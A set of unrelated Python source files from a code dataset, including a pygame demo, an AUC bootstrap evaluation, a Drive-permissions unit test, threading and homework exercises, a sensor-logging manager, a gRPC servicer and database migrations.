+{"seq_id":"177887570","text":"import pygame\nscreen = pygame.display.set_mode((640, 480))\n\nrunning = True\nx = 5\ng = 0\nwhile running:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n running = False\n pygame.draw.circle(screen, (0, g, 0), (320, 240), 50)\n pygame.display.update()\n g += x\n if g>=255 or g<=0:\n x=x*-1\n\n\n\n\n\npygame.quit()\n","sub_path":"Computational Thinking/Pygame.py","file_name":"Pygame.py","file_ext":"py","file_size_in_byte":359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"544542093","text":"from sklearn.metrics import auc\nimport numpy as np\nfrom sklearn.metrics import precision_recall_curve\nimport sklearn.metrics as metrics\nimport sys\n\nthe_list=['0','1','2','3','4']\ny_long=np.zeros(0)\npred_long=np.zeros(0)\nfor the_id in the_list:\n y=np.genfromtxt(('test_gs.dat.'+the_id),delimiter=',')[:,1]\n pred=np.loadtxt(('prediction.dat.'+the_id))\n y_long=np.hstack((y,y_long))\n pred_long=np.hstack((pred,pred_long))\n\n\na=np.arange(len(y_long))\n\nF=open('auc_bootstrap.txt','w')\ni =0\nwhile (i<10000):\n ll = np.random.choice(a, size=a.shape, replace=True)\n y_tmp=y_long[ll]\n pred_tmp=pred_long[ll]\n fpr, tpr, thresholds = metrics.roc_curve(y_tmp, pred_tmp, pos_label=1)\n the_auc=metrics.auc(fpr, tpr)\n F.write('%.4f\\n' % the_auc)\n i=i+1\nF.close()\n\n","sub_path":"evaluation/evaluation_bootstrap.py","file_name":"evaluation_bootstrap.py","file_ext":"py","file_size_in_byte":780,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"106039669","text":"\"\"\"Test GCPInterface Class.\"\"\"\nfrom interface.gcp import GCPInterface, \\\n new_create_permission_body, new_share_message\nfrom googleapiclient.discovery import Resource\nfrom unittest import mock, TestCase\n\n\nclass TestGCPInterface(TestCase):\n \"\"\"Test Case for GCPInterface class.\"\"\"\n\n def setUp(self):\n self.mock_drive = mock.MagicMock(Resource)\n self.gcp = GCPInterface(self.mock_drive,\n subject=\"team@ubclaunchpad.com\")\n\n def test_ensure_drive_permissions(self):\n # Mocks for files\n mock_files_get = mock.MagicMock()\n mock_files_get.execute = mock.MagicMock(return_value={\n \"parents\": [\n \"parent-drive\",\n ]\n })\n\n mock_files = mock.MagicMock()\n mock_files.get = mock.MagicMock(return_value=mock_files_get)\n\n # Mocks for permissions\n mock_perms_list_parent = mock.MagicMock()\n mock_perms_list_parent.execute = mock.MagicMock(return_value={\n \"permissions\": [\n {\n # should not be removed (inherited)\n \"id\": \"99\",\n \"emailAddress\": \"inherited-permission@ubclaunchpad.com\",\n },\n ]\n })\n mock_perms_list_target = mock.MagicMock()\n mock_perms_list_target.execute = mock.MagicMock(return_value={\n \"permissions\": [\n {\n # should not be removed or created (exists in email list)\n \"id\": \"1\",\n \"emailAddress\": \"not-team@ubclaunchpad.com\",\n },\n {\n # should be removed (does not exist in email list)\n \"id\": \"2\",\n # see gcp_utils.standardize_email\n \"emailAddress\": \"strat.Egy@ubclaunchpad.com\",\n },\n {\n # should not be removed (actor)\n \"id\": \"3\",\n \"emailAddress\": \"team@ubclaunchpad.com\",\n },\n {\n # should not be removed (inherited)\n \"id\": \"99\",\n \"emailAddress\": \"inherited-permission@ubclaunchpad.com\",\n },\n ]\n })\n mock_perms_create = mock.MagicMock()\n mock_perms_create.execute = mock.MagicMock(return_value={})\n mock_perms_delete = mock.MagicMock()\n mock_perms_delete.execute = mock.MagicMock(return_value={})\n\n def perms_list_effect(**kwargs):\n if kwargs['fileId'] == 'target-drive':\n return mock_perms_list_target\n if kwargs['fileId'] == 'parent-drive':\n return mock_perms_list_parent\n\n mock_perms = mock.MagicMock()\n mock_perms.list = mock.MagicMock(side_effect=perms_list_effect)\n mock_perms.list_next = mock.MagicMock(return_value=None)\n mock_perms.create = mock.MagicMock(return_value=mock_perms_create)\n mock_perms.delete = mock.MagicMock(return_value=mock_perms_delete)\n\n # Create Google Drive API\n self.mock_drive.files = mock.MagicMock(return_value=mock_files)\n self.mock_drive.permissions = mock.MagicMock(return_value=mock_perms)\n self.gcp.ensure_drive_permissions('team', 'target-drive', [\n 'robert@bobheadxi.dev',\n 'not-team@ubclaunchpad.com',\n ])\n\n # initial parent search\n mock_files.get.assert_called_with(fileId='target-drive',\n fields=mock.ANY)\n mock_files_get.execute.assert_called()\n # perms listing\n mock_perms.list.assert_has_calls([\n mock.call(fileId='parent-drive',\n fields=mock.ANY),\n mock.call(fileId='target-drive',\n fields=mock.ANY),\n ])\n mock_perms_list_parent.execute.assert_called()\n mock_perms_list_target.execute.assert_called()\n # one email already exists, share to the new one\n mock_perms.create\\\n .assert_called_with(fileId='target-drive',\n body=new_create_permission_body(\n 'robert@bobheadxi.dev'),\n emailMessage=new_share_message('team'),\n sendNotificationEmail=True)\n mock_perms_create.execute.assert_called()\n # one email should no longer be shared, it is removed\n mock_perms.delete.assert_called_with(\n fileId='target-drive', permissionId='2')\n mock_perms_delete.execute.assert_called()\n","sub_path":"tests/interface/gcp_test.py","file_name":"gcp_test.py","file_ext":"py","file_size_in_byte":4627,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"507702087","text":"'''\r\n任务：三个厨师同时造蛋挞，每造一个，放入到篮子里。\r\n 如果篮子满了，等待3秒。判断是否已满\r\n 蛋挞的篮子：500个\r\n 每个人手里都有3000元，每个蛋挞2元。\r\n 开始卖蛋挞，当篮子蛋挞不够，等待2秒，一直到钱花光为止\r\n\r\n'''\r\nfrom threading import Thread\r\n#500个蛋挞\r\nbread=0\r\nimport time\r\nclass cook(Thread):\r\n username=\"\" #厨师名\r\n count=0 #蛋挞的数量\r\n def run(self) -> None:\r\n global bread\r\n while True:\r\n if bread<500:\r\n bread=bread+1\r\n self.count=self.count+1\r\n print(self.username,\"总共做了\",self.count,\"个蛋挞\")\r\n\r\n elif bread==500:\r\n time.sleep(3)\r\n\r\nclass customer(Thread):\r\n username=\"\"\r\n count=0\r\n def run(self) -> None:\r\n money =3000\r\n global bread\r\n while True:\r\n if money>0:\r\n bread=bread-1\r\n money=money-2\r\n self.count=self.count+1\r\n print(self.username,\"总共买了\",self.count,\"个蛋挞\")\r\n elif money<0:\r\n print(\"余额不足！！\")\r\n break\r\n\r\nc1=cook()\r\nc2=cook()\r\nc3=cook()\r\nc1.username = \"张三\"\r\nc2.username = \"李四\"\r\nc3.username = \"王五\"\r\n\r\nc1.start()\r\nc2.start()\r\nc3.start()\r\n\r\nk1=customer()\r\nk2=customer()\r\nk3=customer()\r\nk4=customer()\r\nk5=customer()\r\nk6=customer()\r\n\r\nk1.username=\"一号\"\r\nk2.username=\"二号\"\r\nk3.username=\"三号\"\r\nk4.username=\"四号\"\r\nk5.username=\"五号\"\r\nk6.username=\"六号\"\r\n\r\nk1.start()\r\nk2.start()\r\nk3.start()\r\nk4.start()\r\nk5.start()\r\nk6.start()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"多线程蛋挞.py","file_name":"多线程蛋挞.py","file_ext":"py","file_size_in_byte":1666,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"355538046","text":"#! /usr/bin/env python3\nfrom Sensor_Factory import sensors\nfrom SQL_queries import Sensors_Select\nimport Sensor_Factory\nfrom SQL_queries import Sensors_insert\nfrom SQL_queries import Sensors_select_type\nfrom SQL_queries import Sensors_select_id\nfrom SQL_queries import Sensors_select_port\nfrom SQL_queries import Sensors_Update\nfrom functools import partial\nfrom SQL_queries import SQLInsertQueries\nfrom configparser import ConfigParser\nimport threading\nimport collections\nimport concurrent.futures\nimport queue\nimport time\nfrom SQL_queries import SchemaLooper \n\nportsTaken = [[\"ttyACM0\",False],[\"ttyACM1\",False],[\"ttyUSB0\",False],[\"ttyUSB1\",False]]\n\nclass SensorThreader(threading.Thread):\n \"\"\"\n Class to move each sensor object operations into its own thread.\n This also allows each output from the sensor to be moved into a queue which acts as a funnel to insert the outputs into a database.\n This avoids currupting the data and the need to avoid locking all threads except the one which most recently recieved data, \n as the whole database in sqlite3 gets locked when data is inserted.\n \"\"\"\n def __init__(self, name):\n super().__init__()\n self.name = name\n\n def sensorThread(self, queue, event, sensorObject, sensorType, sensorID):\n \"\"\"\n This is a thread that will remain active until an 'end event' has been triggered.\n It will continously read data from the sensor that has been passed in, and put that data into a queue.\n \"\"\"\n while not event.is_set():\n try:\n line = next(sensorObject)\n sensorData = [sensorType, line, sensorID]\n queue.put(sensorData)\n except Exception as message:\n print(message)\n print(type(message))\n \n\n \n print(\"sensorThread {} ID:{} received end event. Exiting.\".format(sensorType, sensorID))\n\ndef DatabaseAccessor(queue, event):\n \"\"\"\n Thread which reads the next item in the queue and sends it to the function SQLFinder which inserts it into the database.\n This thread is always active until the 'end event' is trigered, and the queue is empty.\n \"\"\"\n \n while not event.is_set() or not queue.empty():\n sensorData = queue.get()\n # sensorType line of data unique sensor id\n SQLFinder(sensorData[0], sensorData[1], sensorData[2])\n\ndef SQLFinder(sensor, line, sensorID):\n \"\"\"\n This function searches through the implemented sql insert statements to find the one for the sensor passed in.\n If a match is found, it then inserts the line of data into the sql table.\n \"\"\"\n # Check the implemented list of queries and find the one implemented for the current sensor.\n for queryIndex in range(len(SQLInsertQueries)):\n if(SQLInsertQueries[queryIndex][0] == sensor):\n newInsert = partial(SQLInsertQueries[queryIndex][1])\n newInsert(line, sensorID)\n print(\"Sensor {}, output {}\".format(sensor,line))\n\n\ndef AddSensor(newSensor, port, uniqueName):\n # print(\"Please enter the names of the sensors you wish to record data.\")\n # print(\"Type 'Done' once you have entered all the sensors you wish you use.\")\n print(\"Thank you for adding this sensor\")\n\n requestedSensor = newSensor\n requestedSensor = requestedSensor.upper()\n\n # Read in sensors from user and store them in the config file.\n portIndex = portFinder(port)\n if(portIndex != \"nope\"):\n f= open('Config.ini', 'a')\n f.write('\\n\\n'+'['+requestedSensor + '_' + uniqueName+']'+'\\n'+'sensor = '+requestedSensor)\n f.close()\n\n Sensors_insert(requestedSensor, port, uniqueName)\n\n import os \n import psutil\n import logging\n \n try:\n p = psutil.Process(os.getpid())\n return(p)\n # for handler in p.open_files() + p.connections():\n # os.close(handler.fd)\n except Exception as e:\n logging.error(e)\n # python = sys.executable\n # os.execl(python, python, *sys.argv) \n else:\n print(\"That port is already taken. Please check your port selection again.\")\n return \"Not happy\"\n\ndef portFinder(port):\n for portIndex in range(len(portsTaken)):\n if(portsTaken[portIndex][1] == False):\n if(portsTaken[portIndex][0] == port):\n portsTaken[portIndex][1] = True\n return portsTaken[portIndex][0]\n return \"nope\"\n\ndef Main():\n \"\"\"\n The main function which is run when the program starts up.\n It reads in the sensors the user requested, and sorts through approving them, and checking them against ones already set up in the database,\n in the event that the software is being restarted.\n After ensuring all the sensors are set up in the database, it sends each sensor object into its own thread to read data.\n \"\"\"\n\n portsTaken = [[\"ttyACM0\",False],[\"ttyACM1\",False],[\"ttyUSB0\",False],[\"ttyUSB1\",False]]\n import os\n import sys\n import psutil\n import logging\n print(psutil.Process(os.getpid()))\n\n SchemaLooper()\n\n requestedSensorList = []\n configSensorTypeIndex = {'BB3':0, 'BB9':0, 'BB':0, 'NTU':0, 'GPS1':0, 'GPS_ublox7':0, 'RTK':0}\n\n # Get all the requested sensors in the config file into a list.\n parser = ConfigParser()\n parser.read('Config.ini')\n for each_section in parser.sections():\n if(each_section == \"database\" or each_section == \"UserRequest\"):\n pass\n elif(each_section == \"sensorCounters\"):\n configSensorTypeIndex['BB3'] = parser.get(each_section, 'BB3')\n configSensorTypeIndex['BB9'] = parser.get(each_section, 'BB9')\n configSensorTypeIndex['BB'] = parser.get(each_section, 'BB')\n configSensorTypeIndex['NTU'] = parser.get(each_section, 'NTU')\n configSensorTypeIndex['GPS1'] = parser.get(each_section, 'GPS1')\n configSensorTypeIndex['GPS_ublox7'] = parser.get(each_section, 'GPS_ublox7')\n configSensorTypeIndex['RTK'] = parser.get(each_section, 'RTK')\n else:\n requestedSensorList.append(parser.get(each_section, 'sensor'))\n\n sensorTypeList = []\n\n # Sort through the list of sensors to find ones which have been implemented in the software, and create objects of those sensors.\n for currentSensor in requestedSensorList:\n implementation = False\n # when making the sensors, check to see if they have been implemented in the factory pattern.\n for singleSensor in sensors: \n # If the sensor has been implemented, then make the object, perform the first reading to instantiate it, then add it to a sensor list.\n if(currentSensor == singleSensor):\n implementation = True\n singleSensor = singleSensor.upper()\n sensorTypeList.append(singleSensor)\n if(implementation == False):\n print(\"The sensor {} has not been implemented yet.\".format(currentSensor))\n # Get sensors that are already in the database and store them in a list for cross-refferencing.\n currentSensors = Sensors_select_type()\n newSensorList = []\n if(type(currentSensors) is 'NoneType' or not currentSensors):\n print(\"No sensors in database.\")\n else:\n for sensor in currentSensors:\n newSensorList.append(sensor[0])\n \n # Make a copy of the sensors requested to iterate through\n # then sort through the ones made in the database compared to the ones in the config file.\n # If a sensor does exist in both then remove it from the list of approved sensors.\n # The remaining sensors will then be added to the database.\n approvedSensorsToAdd = sensorTypeList[::]\n if(len(newSensorList) == 0):\n print(\"There are no sensors in the database.\")\n else:\n for approvedSensor in sensorTypeList:\n if(approvedSensor in newSensorList):\n newSensorList.remove(approvedSensor)\n approvedSensorsToAdd.remove(approvedSensor)\n else:\n print(\"{} is not in list of approved sensors.\".format(approvedSensor))\n pass\n sensorPorts = Sensors_select_port()\n\n # Add approved sensors that are in the config file to the database.\n for eachSensorIndex in range(len(approvedSensorsToAdd)):\n Sensors_insert(approvedSensorsToAdd[eachSensorIndex], sensorPorts[eachSensorIndex])\n print(\"{} has been Inserted into the database.\".format(approvedSensorsToAdd[eachSensorIndex]))\n\n FinalListOfSensors = []\n dbSensors = Sensors_Select()\n\n for dbSensor in range(len(dbSensors)):\n dbSensorTuple = dbSensors[dbSensor]\n for approvedSensor in range(len(sensorTypeList)):\n if(sensorTypeList[approvedSensor] == dbSensorTuple[1]):\n FinalListOfSensors.append(dbSensorTuple)\n del sensorTypeList[approvedSensor]\n break\n threadExecutor = concurrent.futures.ThreadPoolExecutor()\n pipeline = queue.Queue(maxsize=1000000)\n endEvent = threading.Event()\n threadExecutor.submit(DatabaseAccessor, pipeline, endEvent) \n # portsTaken = [[\"ttyACM0\",False],[\"ttyACM1\",False],[\"ttyUSB0\",False],[\"ttyUSB1\",False]]\n\n for finalSensor in FinalListOfSensors:\n newSensor = Sensor_Factory.factory(finalSensor[1],finalSensor[2])\n portIndex = portFinder(finalSensor)\n if(portIndex != \"nope\"):\n sensor = newSensor.Reading()\n line = next(sensor) \n sensorObject = SensorThreader(finalSensor[1])\n threadExecutor.submit(sensorObject.sensorThread, pipeline, endEvent, sensor, finalSensor[1], finalSensor[0])\n print(\"this port is {}\".format(portIndex))\n continue\n else:\n for portIndex in range(len(portsTaken)):\n if(portsTaken[portIndex][1] == False):\n try:\n newSensor = Sensor_Factory.factory(finalSensor[1],portsTaken[portIndex][0])\n sensor = newSensor.Reading()\n line = next(sensor)\n portsTaken[portIndex][1] = True\n sensorObject = SensorThreader(finalSensor[1])\n threadExecutor.submit(sensorObject.sensorThread, pipeline, endEvent, sensor, finalSensor[1], finalSensor[0])\n Sensors_Update(portsTaken[portIndex][0], finalSensor[0])\n break\n except Exception as error:\n print(\"You have requested more sensors then there are plugged in, please check your port connections.\")\n print(\"Error was: {}\".format(error))\n #print(\"Nope. No idea. Explode!\")\n \n while True:\n pass\n\nif __name__ == \"__main__\":\n Main()\n\n\n# [database]\n# connection=/users/rsg/jkb/Documents/Monocle/sensordata.db\n# type=sqlite3","sub_path":"Sensor_Manager.py","file_name":"Sensor_Manager.py","file_ext":"py","file_size_in_byte":10991,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"416950226","text":"import random\n\nfrom ebstorf.world_pb2 import Cell, Point\nfrom ebstorf.world_traverser_pb2_grpc import WorldTraverserServicer\nfrom everett.export.live.grpc import world_common\n\n\nclass WorldTraverser(WorldTraverserServicer):\n _world_generator = None\n\n def __init__(self, world_generator):\n self._world_generator = world_generator\n\n def GetWorld(self, request, context):\n world_id = request.world_id\n world = self._world_generator.get_world(world_id)\n return world_common.stream_world(world_id, world)\n\n def GetCell(self, request, context):\n world_id = request.world_id\n world = self._world_generator.get_world(world_id)\n cell_id = request.id\n return world_common.stream_cell(world, cell_id)\n\n def GetNode(self, request, context):\n world_id = request.world_id\n world = self._world_generator.get_world(world_id)\n node_id = request.id\n return world_common.stream_node(world, node_id)\n\n def GetStartingCell(self, request, context):\n world_id = request.world_id\n world = self._world_generator.get_world(world_id)\n sample_size = 1\n random_cell_ids = []\n for iteration, centre_node_id in enumerate(nm.cells):\n if len(random_cell_ids) < sample_size:\n random_cell_ids.append(centre_node_id)\n else:\n if random.uniform(0, 1.0) < (sample_size / iteration):\n random_cell_ids[random.randint(0, sample_size - 1)] = centre_node_id\n return world_common.stream_cell(world, random_cell_ids[0])","sub_path":"everett/export/live/grpc/world_traverser.py","file_name":"world_traverser.py","file_ext":"py","file_size_in_byte":1587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"175850787","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('restaurants', '0011_auto_20150731_1053'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='menutitle',\n name='mealtype',\n field=models.CharField(blank=True, max_length=120, null=True, choices=[(b'Breakfast', b'breakfast'), (b'Lunch', b'lunch'), (b'Dinner', b'dinner'), (b'Supper', b'supper')]),\n preserve_default=True,\n ),\n ]\n","sub_path":"restaurants/migrations/0012_menutitle_mealtype.py","file_name":"0012_menutitle_mealtype.py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"475649831","text":"import inspect\nimport math\n\ndebugging = True\ndef debug(*s): \n\tif debugging: \n\t\tprint(*s)\n\n\n#*****************PROBLEM 1 - DICTIONARIES**************************\n#create new dictionary(T) for totals\n#go through days of week\n\t#go through classes studied\n\t\t#if lecture already in T\n\t\t\t#add value to existing element to T\n\t\t#else\n\t\t\t#make new class and add to T\n\t\t\t#assign value to new element\n\t#print out L\ndef addDict(d):\n\tnd = {}\n\tfor day, classes in d.items():\n\t\tfor lecture, hours in classes.items():\n\t\t\tif lecture in nd.keys():\n\t\t\t\tnd[lecture] += hours\n\t\t\telse:\n\t\t\t\tnd[lecture] = hours\n\treturn nd\n\ndef testaddDict():\n\t\td = {'Mon':{'355':2,'451':1,'360':2},'Tue':{'451':2,'360':3},'Thu':{'355':3,'451':2,'360':3}, 'Fri':{'355':2},'Sun':{'355':1,'451':3,'360':1}} \n\t\ttrued = {'355': 8, '451': 8, '360': 9}\n\t\ttestd = addDict(d)\n\t\tif testd == trued:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\t\t\t\n\n#same as addDict, but now with an extra loop to go through L\t\t\t\ndef addDictN(L):\n\tnd = {}\t\n\tfor n in L:\n\t\tfor day, classes in n.items():\n\t\t\tfor lecture, hours in classes.items():\n\t\t\t\tif lecture in nd.keys():\n\t\t\t\t\tnd[lecture] += hours\n\t\t\t\telse:\n\t\t\t\t\tnd[lecture] = hours\n\treturn nd\n\t\t\ndef testaddDictN():\n\t\td = [{'Mon':{'355':2,'360':2},'Tue':{'451':2,'360':3},'Thu':{'360':3},'Fri':{'355':2}, 'Sun':{'355':1}},{'Tue':{'360':2},'Wed':{'355':2},'Fri':{'360':3, '355':1}},{'Mon':{'360':5},'Wed':{'451':4},'Thu':{'355':3},'Fri':{'360':6},'Sun':{'355':5}}]\n\t\ttrued = {'355': 16, '360': 24, '451': 6}\n\t\ttestd = addDictN(d)\n\t\tif testd == trued:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n\t\t\n#*****************PROBLEM 2 - lIST COMPREHENSION**************************\t\t\n#same logic as addDict, but convert over to tuples + sort\n\t\t\ndef charCount(s):\n\td = {}\n\tfor i in s:\n\t\tif i in d.keys():\n\t\t\td[i] += 1\n\t\telif i == \" \":\n\t\t\tcontinue\n\t\telse:\n\t\t\td[i] = 1\n\tL = d.items()\n\treturn sorted(L,key=lambda x:(x[1],x[0]))\n\t\t\ndef testcharCount():\n\ts = 'Cpts355 --- Assign1'\n\ttests = charCount(s)\n\ttrues = [('1', 1), ('3', 1), ('A', 1), ('C', 1), ('g', 1), ('i', 1), ('n', 1), ('p', 1), ('t', 1), ('5', 2), ('-', 3), ('s', 3)]\n\tif tests == trues:\n\t\treturn True\n\telse:\n\t\treturn False\n\t\t\n\ndef charCount2(s):\n\td = {}\n\tfor i in s:\n\t\tif i in d.keys():\n\t\t\tcontinue\n\t\telif i == \" \":\n\t\t\tcontinue\n\t\telse:\n\t\t\td[i] = s.count(i)\n\tL = d.items()\n\treturn sorted(L,key=lambda x:(x[1],x[0]))\n\n\t\ndef testcharCount2():\n\ts = 'Cpts355 --- Assign1'\n\ttests = charCount2(s)\n\ttrues = [('1', 1), ('3', 1), ('A', 1), ('C', 1), ('g', 1), ('i', 1), ('n', 1), ('p', 1), ('t', 1), ('5', 2), ('-', 3), ('s', 3)]\n\tif tests == trues:\n\t\treturn True\n\telse:\n\t\treturn False\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n#*****************PROBLEM 3 - lIST + DICTIONARY**************************\t\t\n#reverse lists, return first instance.\n#check second element in tuple. if not found, return first element (recursion)\t\n\t\t\ndef lookupVal(L, k):\n\tfor i in reversed(L):\n\t\tfor x,y in i.items():\n\t\t\tif x == k:\n\t\t\t\treturn i[x]\n\t\t\telse:\n\t\t\t\tcontinue\n\treturn None\n\t\t\ndef testlookupVal():\n\tL1 = [{\"x\":1, \"y\":True, \"z\":\"found\"}, {\"x\":2}, {\"y\":False}]\n\ttests = lookupVal(L1, \"t\")\n\ttrues = None\n\tif tests == trues:\n\t\treturn True\n\telse:\n\t\treturn False\n\t\t\n\t\t\ndef lookupVal2(tL, k):\n\tdef lookupHelper(i, tL, k):\n\t\tif k in tL[i][1]:\n\t\t\treturn tL[i][1][k]\n\t\telif i == tL[i][0]:\n\t\t\treturn None\n\t\telse:\n\t\t\treturn lookupHelper(tL[i][0], tL, k)\n\ti = len(tL) - 1\n\treturn lookupHelper(i, tL, k)\n\t\t\ndef testlookupVal2():\n\tL2 = [(0,{\"x\":0,\"y\":True,\"z\":\"zero\"}),(0,{\"x\":1}),(1,{\"y\":False}),(1,{\"x\":3, \"z\":\"three\"}),(2,{})]\n\ttests = lookupVal2(L2, \"t\")\n\ttrues = None\n\tif tests == trues:\n\t\treturn True\n\telse:\n\t\treturn False\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n#*****************PROBLEM 4 - HIGHER ORDER FUNCTIONS**************************\t\t\n#https://stackoverflow.com/questions/2525845/proper-way-in-python-to-raise-errors-while-setting-variables\t\n\t\t\ndef funRun(d, name, args):\n\tif len(args) == len(inspect.getfullargspec(d[name]).args):\n\t\treturn d[name](*args)\n\telse:\n\t\traise TypeError(\"ERROR: Number of inputs do not match required number of arguments.\")\n\t\t\n\t\t\ndef testfunRun():\n\td = {\"add\": lambda x,y: (x+y), \"concat3\": lambda a,b,c:(a+\",\"+b+\",\"+c),\"mod2\": lambda n: (n % 2)}\n\ttests = funRun(d, \"mod2\", [40])\n\ttrues = 0\n\tif tests == trues:\n\t\treturn True\n\telse:\n\t\treturn False\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n#*****************PROBLEM 5 - RECUSION**************************\t\t\n#let recursion do the dirty work\n\t\t\ndef numPaths(m,n):\n\tif(m == 1 or n == 1):\n\t\treturn 1\n\telse:\n\t\treturn numPaths(m-1, n) + numPaths(m, n-1)\n\t\t\ndef testnumPaths():\n\ttests = numPaths(3,3)\n\ttrues = 6\n\tif tests == trues:\n\t\treturn True\n\telse:\n\t\treturn False\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n#*****************PROBLEM 6 - ITERATORS**************************\t\t\n#https://stackoverflow.com/questions/30254640/calculating-the-square-numbers-within-a-range-python\n\t\t\t\t\nclass iterSquares(object):\n\tdef __init__(self):\n\t\tself.current = 1\n\tdef __next__(self):\n\t\tresult = self.current\n\t\tself.current = (int(math.sqrt(result)) + 1) ** 2\n\t\treturn result\n\tdef __iter__(self):\n\t\treturn self\n\t\t\n\t\t\ndef numbersToSum(iNumbers, sum):\n\tL = []\n\tcount = 0\n\tpeek = iterSquares()\n\tpeek.__next__()\n\tfor n in iNumbers:\n\t\tif (count + n > sum):\n\t\t\tbreak\n\t\telif (count + n < sum):\n\t\t\tL.append(n)\n\t\t\tcount += n\n\t\t\tif (count + peek.__next__() >= sum):\n\t\t\t\tbreak\n\treturn L\n\t\t\n\t\ndef testnumbersToSum():\n\ts = iterSquares()\n\ttests = numbersToSum(s,55)\n\ttrues = [1,4,9,16]\n\ttest2 = numbersToSum(s,100)\n\ttrue2 = [25, 36]\n\t#print(tests)\n\t#print(test2)\n\tif tests == trues:\n\t\treturn True\n\telse:\n\t\treturn False\n\n\n\n\n\n\n\n\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n#*****************PROBLEM 7 - STREAMS**************************\t\t\n#stream class given in class\nclass Stream(object):\n\tdef __init__(self, first, compute_rest, empty= False):\n\t\tself.first = first\n\t\tself._compute_rest = compute_rest\n\t\tself.empty = empty\n\t\tself._rest = None\n\t\tself._computed = False\n\n\t@property\n\tdef rest(self):\n\t\tassert not self.empty, 'Empty streams have no rest.'\n\t\tif not self._computed:\n\t\t\tself._rest = self._compute_rest()\n\t\t\tself._computed = True\n\t\treturn self._rest\n\n\t\t\ndef streamSquares(k):\n\tdef compute_rest():\n\t\treturn streamSquares((int(math.sqrt(k)) + 1) ** 2)\n\treturn Stream(first = k, compute_rest = compute_rest)\n\t\t\ndef teststreamSquares():\n\tsqStream = streamSquares(25)\n\tmyList = []\n\twhile sqStream.first < 225:\n\t\tmyList.append(sqStream.first)\n\t\tsqStream =sqStream.rest\n\ttrues = [25, 36, 49, 64, 81, 100, 121, 144, 169, 196]\n\tif myList == trues:\n\t\treturn True\n\telse:\n\t\treturn False\n\t\t\n\t\t\ndef evenStream(stream):\n\tdef evenCheck(x):\n\t\tif ((x % 2) == 0):\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\tdef compute_rest():\n\t\treturn evenStream(stream.rest.rest)\n\treturn Stream(stream.first if evenCheck(stream.first) else stream.rest.first, compute_rest)\n\n\ndef testevenStream():\n\tevenS = evenStream(streamSquares(9))\n\tmyList = []\n\twhile evenS.first < 225:\n\t\tmyList.append(evenS.first)\n\t\tevenS =evenS.rest\n\ttrues = [16, 36, 64, 100, 144, 196]\n\tif myList == trues:\n\t\treturn True\n\telse:\n\t\treturn False\n\t\n\t\t\nif __name__ == '__main__':\n\tpassedMsg = \"%s passed\"\n\tfailedMsg = \"%s failed\"\n\tif testaddDict():\n\t\tprint(passedMsg % 'addDict')\n\telse:\n\t\tprint(failedMsg % 'addDict')\n\t\t\n\tif testaddDictN():\n\t\tprint(passedMsg % 'addDictN')\n\telse:\n\t\tprint(failedMsg % 'addDictN')\n\t\t\n\tif testcharCount():\n\t\tprint(passedMsg % 'charCount')\n\telse:\n\t\tprint(failedMsg % 'charCount')\n\t\t\n\tif testcharCount2():\n\t\tprint(passedMsg % 'charCount2')\n\telse:\n\t\tprint(failedMsg % 'charCount2')\n\t\t\n\tif testlookupVal():\n\t\tprint(passedMsg % 'lookupVal')\n\telse:\n\t\tprint(failedMsg % 'lookupVal')\n\t\t\n\tif testlookupVal2():\n\t\tprint(passedMsg % 'lookupVal2')\n\telse:\n\t\tprint(failedMsg % 'lookupVal2')\n\t\t\n\tif testfunRun():\n\t\tprint(passedMsg % 'funRun')\n\telse:\n\t\tprint(failedMsg % 'funRun')\n\t\t\n\tif testnumPaths():\n\t\tprint(passedMsg % 'numPaths')\n\telse:\n\t\tprint(failedMsg % 'numPaths')\n\t\t\n\tif testnumbersToSum():\n\t\tprint(passedMsg % 'numbersToSum')\n\telse:\n\t\tprint(failedMsg % 'numbersToSum')\n\t\n\tif teststreamSquares():\n\t\tprint(passedMsg % 'streamSquares')\n\telse:\n\t\tprint(failedMsg % 'streamSquares')\n\t\t\n\tif testevenStream():\n\t\tprint(passedMsg % 'evenStream')\n\telse:\n\t\tprint(failedMsg % 'evenStream')","sub_path":"HW3 - Python/HW3.py","file_name":"HW3.py","file_ext":"py","file_size_in_byte":8079,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"505775533","text":"\"\"\"修改在岗状态为合作状态\n\nRevision ID: dc69f5c18cae\nRevises: 81eec4c7716f\nCreate Date: 2019-05-13 09:57:41.625052\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import mysql\n\n# revision identifiers, used by Alembic.\nrevision = 'dc69f5c18cae'\ndown_revision = '81eec4c7716f'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('resume', sa.Column('cooperation_state', sa.Integer(), nullable=True))\n op.drop_column('resume', 'school')\n op.drop_column('resume', 'working')\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('resume', sa.Column('working', 